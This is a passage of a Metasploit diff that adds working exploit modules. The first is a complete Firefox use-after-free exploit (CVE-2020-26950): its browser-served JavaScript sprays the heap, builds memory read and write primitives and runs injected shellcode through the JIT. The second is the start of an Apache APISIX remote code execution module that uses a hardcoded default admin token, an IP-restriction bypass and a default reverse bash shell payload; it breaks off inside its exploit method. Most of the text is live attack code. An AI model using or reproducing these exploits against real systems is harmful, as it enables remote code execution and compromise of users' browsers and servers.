print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||
download_payload = ''
|
||||
shellcode = payload.encoded
|
||||
@@ -353,21 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
pwn();
|
||||
JS
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
debugjs = <<~JS
|
||||
print = function(arg) {
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/print", false);
|
||||
request.send("" + arg);
|
||||
};
|
||||
JS
|
||||
|
||||
jscript = "#{debugjs}#{jscript}"
|
||||
else
|
||||
jscript.gsub!(%r{//.*$}, '') # strip comments
|
||||
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||
end
|
||||
|
||||
jscript = add_debug_print_js(jscript)
|
||||
html = %(
|
||||
<html>
|
||||
<head>
|
||||
|
||||
@@ -0,0 +1,456 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::BrowserExploit
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
|
||||
'Description' => %q{
|
||||
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
|
||||
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
|
||||
in an exploitable use-after-free condition.
|
||||
|
||||
This exploit uses a somewhat novel technique of spraying ArgumentsData
|
||||
structures in order to construct primitives. The shellcode is forced into
|
||||
executable memory via the JIT compiler, and executed by writing to the JIT
|
||||
region pointer.
|
||||
|
||||
This exploit does not contain a sandbox escape, so firefox must be run
|
||||
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
|
||||
for the shellcode to run successfully.
|
||||
|
||||
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
|
||||
Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
|
||||
Additional work may be needed to support other versions such as Firefox 82.0.1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'360 ESG Vulnerability Research Institute', # discovery
|
||||
'maxpl0it', # writeup and exploit
|
||||
'timwr', # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-26950'],
|
||||
['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],
|
||||
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],
|
||||
['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => ['linux', 'windows'],
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' => [
|
||||
[ 'Automatic', {}],
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Stability' => [CRASH_SAFE]
|
||||
},
|
||||
'DisclosureDate' => '2020-11-18'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def create_js_shellcode
|
||||
shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
|
||||
if (shellcode.length % 8 > 0)
|
||||
shellcode += "\x00" * (8 - shellcode.length % 8)
|
||||
end
|
||||
shellcode_js = ''
|
||||
for chunk in 0..(shellcode.length / 8) - 1
|
||||
label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr
|
||||
shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]
|
||||
shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"
|
||||
end
|
||||
shellcode_js
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||
shellcode_js = create_js_shellcode
|
||||
jscript = <<~JS
|
||||
// Triggers the vulnerability
|
||||
function jitme(cons, interesting, i) {
|
||||
interesting.x1 = 10; // Make sure the MSlots is saved
|
||||
|
||||
new cons(); // Trigger the vulnerability - Reallocates the object slots
|
||||
|
||||
// Allocate a large array on top of this previous slots location.
|
||||
let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has
|
||||
|
||||
// Avoid Elements Copy-On-Write by pushing a value
|
||||
target.push(i);
|
||||
|
||||
// Write the Initialized Length, Capacity, and Length to be larger than it is
|
||||
// This will work when interesting == cons
|
||||
interesting.x1 = 3.476677904727e-310;
|
||||
interesting.x0 = 3.4766779039175e-310;
|
||||
|
||||
// Return the corrupted array
|
||||
return target;
|
||||
}
|
||||
|
||||
// Initialises vulnerable objects
|
||||
function init() {
|
||||
// arr will contain our sprayed objects
|
||||
var arr = [];
|
||||
|
||||
// We'll create one object...
|
||||
var cons = function() {};
|
||||
for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)
|
||||
arr.push(cons);
|
||||
|
||||
// ...then duplicate it a whole bunch of times
|
||||
// The number of times has two uses:
|
||||
// - Heap spray - Stops any already freed objects getting in our way
|
||||
// - Allows us to get the jitme function compiled
|
||||
for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));
|
||||
|
||||
// Return the array
|
||||
return arr;
|
||||
}
|
||||
|
||||
// Global that holds the total number of objects in our original spray array
|
||||
TOTAL = 0;
|
||||
|
||||
// Global that holds the target argument so it can be used later
|
||||
arg = 0;
|
||||
|
||||
evil = 0;
|
||||
|
||||
// setup_prim - Performs recursion to get the vulnerable arguments object
|
||||
// arguments[0] - Original spray array
|
||||
// arguments[1] - Recursive depth counter
|
||||
// arguments[2]+ - Numbers to pad to the right reallocation size
|
||||
function setup_prim() {
|
||||
// Base case of our recursion
|
||||
// If we have reached the end of the original spray array...
|
||||
if(arguments[1] == TOTAL) {
|
||||
|
||||
// Delete an argument to generate the RareArgumentsData pointer
|
||||
delete arguments[3];
|
||||
|
||||
// Read out of bounds to the next object (sprayed objects)
|
||||
// Check whether the RareArgumentsData pointer is null
|
||||
if(evil[511] != 0) return arguments;
|
||||
|
||||
// If it was null, then we return and try the next one
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get the cons value
|
||||
let cons = arguments[0][arguments[1]];
|
||||
|
||||
// Move the pointer (could just do cons.p481 = 481, but this is more fun)
|
||||
new cons();
|
||||
|
||||
// Recursive call
|
||||
res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );
|
||||
|
||||
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it
|
||||
if(res != 0) return res;
|
||||
|
||||
// Otherwise, repeat the base case (delete an argument)
|
||||
delete arguments[3];
|
||||
|
||||
// Check if the next object has a null RareArgumentsData pointer
|
||||
if(evil[511] != 0) return arguments; // Return arguments if not
|
||||
|
||||
// Otherwise just return 0 and try the next one
|
||||
return 0;
|
||||
}
|
||||
|
||||
// weak_read32 - Bit-by-bit read
|
||||
function weak_read32(arg, addr) {
|
||||
// Set the RareArgumentsData pointer to the address
|
||||
evil[511] = addr;
|
||||
|
||||
// Used to hold the leaked data
|
||||
let val = 0;
|
||||
|
||||
// Read it bit-by-bit for 32 bits
|
||||
// Endianness is taken into account
|
||||
for(let i = 32; i >= 0; i--) {
|
||||
val = val << 1; // Shift
|
||||
if(arg[i] == undefined) {
|
||||
val = val | 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Return the integer
|
||||
return val;
|
||||
}
|
||||
|
||||
// weak_read64 - Bit-by-bit read using BigUint64Array
|
||||
function weak_read64(arg, addr) {
|
||||
// Set the RareArgumentsData pointer to the address
|
||||
evil[511] = addr;
|
||||
|
||||
// Used to hold the leaked data
|
||||
val = new BigUint64Array(1);
|
||||
val[0] = 0n;
|
||||
|
||||
// Read it bit-by-bit for 64 bits
|
||||
for(let i = 64; i >= 0; i--) {
|
||||
val[0] = val[0] << 1n;
|
||||
if(arg[i] == undefined) {
|
||||
val[0] = val[0] | 1n;
|
||||
}
|
||||
}
|
||||
|
||||
// Return the BigInt
|
||||
return val[0];
|
||||
}
|
||||
|
||||
// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
|
||||
function write_nan(arg, addr) {
|
||||
evil[511] = addr;
|
||||
for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box
|
||||
}
|
||||
|
||||
// write - Write a value to an address
|
||||
function write(address, value) {
|
||||
// Set the fake ArrayBuffer backing store address
|
||||
address = dbl_to_bigint(address)
|
||||
target_uint32arr[14] = parseInt(address) & 0xffffffff
|
||||
target_uint32arr[15] = parseInt(address >> 32n);
|
||||
|
||||
// Use the fake ArrayBuffer backing store to write a value to a location
|
||||
value = dbl_to_bigint(value);
|
||||
fake_arrbuf[1] = parseInt(value >> 32n);
|
||||
fake_arrbuf[0] = parseInt(value & 0xffffffffn);
|
||||
}
|
||||
|
||||
// addrof - Gets the address of a given object
|
||||
function addrof(arg, o) {
|
||||
// Set the 5th property of the arguments object
|
||||
arg[5] = o;
|
||||
|
||||
// Get the address of the 5th property
|
||||
target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)
|
||||
|
||||
// Set the fake ArrayBuffer backing store to point to this location
|
||||
target_uint32arr[14] = parseInt(target) & 0xffffffff;
|
||||
target_uint32arr[15] = parseInt(target >> 32n);
|
||||
|
||||
// Read the address of the object o
|
||||
return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);
|
||||
}
|
||||
|
||||
// shellcode - Constant values which hold our shellcode to pop xcalc.
|
||||
function shellcode(){
|
||||
#{shellcode_js}
|
||||
}
|
||||
|
||||
// helper functions
|
||||
var conv_buf = new ArrayBuffer(8);
|
||||
var f64_buf = new Float64Array(conv_buf);
|
||||
var u64_buf = new Uint32Array(conv_buf);
|
||||
|
||||
function dbl_to_bigint(val) {
|
||||
f64_buf[0] = val;
|
||||
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
|
||||
}
|
||||
|
||||
function bigint_to_dbl(val) {
|
||||
u64_buf[0] = Number(val & 0xffffffffn);
|
||||
u64_buf[1] = Number(val >> 32n);
|
||||
return f64_buf[0];
|
||||
}
|
||||
|
||||
function main() {
|
||||
let i = 0;
|
||||
// ensure the shellcode is in jit rwx memory
|
||||
for(i = 0;i < 0x5000; i++) shellcode();
|
||||
|
||||
// The jitme function returns arrays. We'll save them, just in case.
|
||||
let arr_saved = [];
|
||||
|
||||
// Get the sprayed objects
|
||||
let arr = init();
|
||||
|
||||
// This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled
|
||||
let interesting = arr[arr.length - 10];
|
||||
|
||||
// Iterate over the vulnerable object array
|
||||
for (i = 0; i < arr.length; i++) {
|
||||
// Run the jitme function across the array
|
||||
corr_arr = jitme(arr[i], interesting, i);
|
||||
|
||||
// Save the generated array. Never trust the garbage collector.
|
||||
arr_saved[i] = corr_arr;
|
||||
|
||||
// Find the corrupted array
|
||||
if(corr_arr.length != 491) {
|
||||
// Save it for future evil
|
||||
evil = corr_arr
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(evil == 0) {
|
||||
print("Failure: Failed to get the corrupted array");
|
||||
return;
|
||||
}
|
||||
print("got the corrupted array " + evil.length);
|
||||
|
||||
TOTAL=arr.length;
|
||||
arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);
|
||||
|
||||
old_rareargdat_ptr = evil[511];
|
||||
print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));
|
||||
|
||||
iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
|
||||
counter = 0; // Used to prevent a while(true) situation
|
||||
while(counter < 0x200) {
|
||||
// Read the current address
|
||||
output = weak_read32(arg, bigint_to_dbl(iterator));
|
||||
|
||||
// Check if it's the expected size value for our ArgumentsObject object
|
||||
if(output == 0x1e10 || output == 0x1e20) {
|
||||
// If it is, then read the ArgumentsData pointer
|
||||
ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));
|
||||
|
||||
// Get the pointer in ArgumentsData to RareArgumentsData
|
||||
ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));
|
||||
|
||||
// ad_location + 8 points to the RareArgumentsData pointer, so this should match
|
||||
// We do this because after spraying arguments, there may be a few ArgumentObjects to go past
|
||||
if((ad_location + 8n) == ptr_in_argdat) break;
|
||||
}
|
||||
// Iterate backwards
|
||||
iterator = iterator - 8n;
|
||||
|
||||
// Increment counter
|
||||
counter += 1;
|
||||
}
|
||||
|
||||
if(counter == 0x200) {
|
||||
print("Failure: Failed to get AD location");
|
||||
return;
|
||||
}
|
||||
|
||||
print("AD location: " + ad_location.toString(16));
|
||||
|
||||
// The target Uint32Array - A large size value to:
|
||||
// - Help find the object (Not many 0x00101337 values nearby!)
|
||||
// - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)
|
||||
target_uint32arr = new Uint32Array(0x101337);
|
||||
|
||||
// Find the Uint32Array starting from the original leaked Nursery pointer
|
||||
iterator = dbl_to_bigint(old_rareargdat_ptr);
|
||||
counter = 0; // Use a counter
|
||||
while(counter < 0x5000) {
|
||||
|
||||
// Read a memory address
|
||||
output = weak_read32(arg, bigint_to_dbl(iterator));
|
||||
|
||||
// If we have found the right size value, we have found the Uint32Array!
|
||||
if(output == 0x101337) break;
|
||||
|
||||
// Check the next memory location
|
||||
iterator = iterator + 8n;
|
||||
|
||||
// Increment the counter
|
||||
counter += 1;
|
||||
}
|
||||
|
||||
if(counter == 0x5000) {
|
||||
print("Failure: Failed to find the Uint32Array");
|
||||
return;
|
||||
}
|
||||
|
||||
// Subtract from the size value address to get to the start of the Uint32Array
|
||||
arr_buf_addr = iterator - 40n;
|
||||
|
||||
// Get the Array Buffer backing store
|
||||
arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));
|
||||
print("AB Location: " + arr_buf_loc.toString(16));
|
||||
|
||||
// Create a fake ArrayBuffer through cloning
|
||||
iterator = arr_buf_addr;
|
||||
for(i=0;i<64;i++) {
|
||||
output = weak_read32(arg, bigint_to_dbl(iterator));
|
||||
target_uint32arr[i] = output;
|
||||
iterator = iterator + 4n;
|
||||
}
|
||||
|
||||
// Cell Header - Set it to Nursery to pass isNursery()
|
||||
target_uint32arr[0x3fffa] = 1;
|
||||
|
||||
// Write an unboxed pointer to arguments[0]
|
||||
evil[512] = bigint_to_dbl(arr_buf_loc);
|
||||
|
||||
// Make it NaN-Boxed
|
||||
write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]
|
||||
|
||||
// From here we have a fake UintArray in arg[0]
|
||||
// Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
|
||||
fake_arrbuf = arg[0];
|
||||
|
||||
// Get the address of the shellcode function object
|
||||
shellcode_addr = addrof(arg, shellcode);
|
||||
print("Function is at: " + shellcode_addr.toString(16));
|
||||
|
||||
// Get the jitInfo pointer in the JSFunction object
|
||||
jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_
|
||||
print(" jitinfo: " + jitinfo.toString(16));
|
||||
|
||||
// We can then fetch the RX region from here
|
||||
rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));
|
||||
print(" RX Region: " + rx_region.toString(16));
|
||||
|
||||
iterator = rx_region; // Start from the RX region
|
||||
found = false
|
||||
// Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.
|
||||
for(i = 0; i < 0x800; i++) {
|
||||
data = weak_read64(arg, bigint_to_dbl(iterator));
|
||||
if(data == 0x41414141n) {
|
||||
iterator = iterator + 8n;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
iterator = iterator + 8n;
|
||||
}
|
||||
if(!found) {
|
||||
print("Failure: Failed to find the JIT start");
|
||||
return;
|
||||
}
|
||||
|
||||
// We now have a pointer to the start of the shellcode
|
||||
shellcode_location = iterator;
|
||||
print("Shellcode start: " + shellcode_location.toString(16));
|
||||
|
||||
// And can now overwrite the previous jitInfo pointer with our shellcode pointer
|
||||
write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));
|
||||
|
||||
print("Triggering...");
|
||||
shellcode(); // Triggering our shellcode is as simple as calling the function again.
|
||||
}
|
||||
main();
|
||||
JS
|
||||
|
||||
jscript = add_debug_print_js(jscript)
|
||||
html = %(
|
||||
<html>
|
||||
<script>
|
||||
#{jscript}
|
||||
</script>
|
||||
</html>
|
||||
)
|
||||
send_response(cli, html, {
|
||||
'Content-Type' => 'text/html',
|
||||
'Cache-Control' => 'no-cache, no-store, must-revalidate',
|
||||
'Pragma' => 'no-cache', 'Expires' => '0'
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,270 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'APISIX Admin API default access token RCE',
|
||||
'Description' => %q{
|
||||
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
|
||||
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
|
||||
version. This module also leverages another vulnerability to bypass the IP restriction plugin.
|
||||
},
|
||||
'Author' => [
|
||||
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
|
||||
'YuanSheng Wang <membphis[at]gmail.com>' # discovered
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2020-13945'],
|
||||
['CVE', '2022-24112'],
|
||||
['URL', 'https://github.com/apache/apisix/pull/2244'],
|
||||
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
|
||||
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
|
||||
],
|
||||
'DisclosureDate' => '2020-12-07',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => %w[unix],
|
||||
'Targets' => [
|
||||
[
|
||||
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
|
||||
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
|
||||
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
# batch request is the preferred method because it bypass the ip-restriction plugin
|
||||
res = nil
|
||||
if batch_request_enabled?
|
||||
|
||||
pipeline = [
|
||||
{
|
||||
method: 'GET',
|
||||
path: "#{target_uri.path}/admin/routes"
|
||||
}
|
||||
]
|
||||
res = batch_request(batch_body(pipeline))
|
||||
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200
|
||||
|
||||
pipeline = [
|
||||
{
|
||||
method: 'GET',
|
||||
path: "#{target_uri.path}/admin/routes/index"
|
||||
}
|
||||
]
|
||||
res = batch_request(batch_body(pipeline))
|
||||
|
||||
else
|
||||
vprint_error('The batch-requests plugin is not enabled')
|
||||
|
||||
vprint_good('There is direct access to the routes using the provided token') if direct_access?
|
||||
|
||||
res = apisix_request({
|
||||
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
end
|
||||
unless res && res.headers.key?('Server')
|
||||
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
|
||||
end
|
||||
|
||||
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
|
||||
|
||||
server = Regexp.last_match(1) || nil
|
||||
version = Rex::Version.new(Regexp.last_match(2)) || nil
|
||||
|
||||
if server && server.match(/APISIX/)
|
||||
vprint_status("Found an #{server} #{version} http server header")
|
||||
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
|
||||
end
|
||||
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
|
||||
end
|
||||
|
||||
def exploit
|
||||
# batch request is the preferred method because it bypass the ip-restriction plugin
|
||||
if batch_request_enabled?
|
||||
